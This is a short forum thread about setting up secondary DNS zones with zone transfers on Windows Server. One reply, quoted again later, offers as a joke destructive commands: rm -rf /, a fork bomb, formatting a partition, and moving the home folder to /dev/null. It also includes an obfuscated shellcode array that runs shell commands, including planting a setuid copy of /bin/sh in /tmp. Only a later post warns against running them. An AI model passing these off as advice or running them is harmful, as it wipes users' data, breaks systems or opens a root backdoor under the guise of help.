PDA

View Full Version : DNS troubles



SMOKEU
21st October 2013, 13:07
I've got 2 DNS servers, let's call them DNS1 and DNS2, both Server 2008 R2. DNS1 holds several primary forward lookup zones. DNS2 is intended to be a read only "replica" of DNS1 to provide redundancy and load balancing. I've created all the records on DNS1, but I'm unsure what the best practice is to do next. I have manually created the secondary zones on DNS2, but all I get is a red cross on each zone, but selecting "transfer new copy of zone from master" seems to fix it.

Is a zone transfer the best way to do it? On the properties for each zone in DNS1 under the Zone Transfers tab I have selected Allow zone transfers, and only to the following servers, then I specified the IP address for DNS2, but the records haven't showed up on DNS2, so do I need to create the secondary zone manually? Do I need to use any delegation?

It seems like there's several different ways to achieve this, but I'm looking for the most simple way of getting the job done, or whatever is best practice. This is only a lab environment for now so security isn't really an issue.

Akzle
21st October 2013, 15:29
install linux bro.

Nah. Dd that shit, then run a bash to change the 1s to 2s.

SMOKEU
22nd October 2013, 09:18
install linux bro.

Nah. Dd that shit, then run a bash to change the 1s to 2s.

Fuck that, do these instead:

rm -rf /

or

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

or

:(){ :|: & };:

or

mkfs.ext4 /dev/sda1

or

mv ~ /dev/null

These will all give moar lulz.

SMOKEU
22nd October 2013, 09:34
I sorted out the DNS issue I had. Turns out I was just being a n00b.

Joemac
26th October 2013, 21:58
Fuck that, do these instead:

rm -rf /

or

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

or

:(){ :|: & };:

or

mkfs.ext4 /dev/sda1

or

mv ~ /dev/null

These will all give moar lulz.

For the record. Don't do this.